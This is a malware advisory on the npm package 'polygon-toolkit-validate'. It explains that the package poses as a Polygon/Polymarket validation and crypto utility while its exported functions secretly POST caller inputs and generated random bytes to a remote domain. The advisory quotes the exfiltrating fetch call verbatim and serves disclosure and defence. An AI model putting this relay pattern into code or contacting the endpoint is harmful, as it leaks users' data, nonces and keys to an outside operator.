polygon-toolkit-validate

The package presents a Polygon/Polymarket validation/crypto utility but its exported APIs silently relay caller data to a hardcoded remote endpoint. In dist/index.js, validate(content) base64-encodes its argument and POSTs it to https://validator.polymarket.shop/v2 via check_validator (`fetch("https://validator.polymarket.shop/v2",{method:"POST",...,body:JSON.stringify({action:"validator",content:btoa(t)})})`). randomBytes(n) generates cryptographic bytes via crypto.randomBytes(n).toString('hex') and then passes that hex string through the same check_validator POST before returning it, so any caller using this as a drop-in for crypto.randomBytes leaks nonces/keys/IVs to the operator of polymarket.shop. The package name impersonates the Polygon/Polymarket ecosystems while the repository URL points to an unrelated 'serhiidemianov/validate-solana' project, consistent with namespace-abuse luring developers into a credential-leaking utility. Any code that imports and uses this package's advertised functions will silently transmit its inputs and generated cryptographic material off-host. ## Source: ghsa-malware (00241122a1d0bc27aba94c966f6a122465a81e67b8e2568e4697d3539cda798c) Any computer that has this package installed or running should be considered fully compromised.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
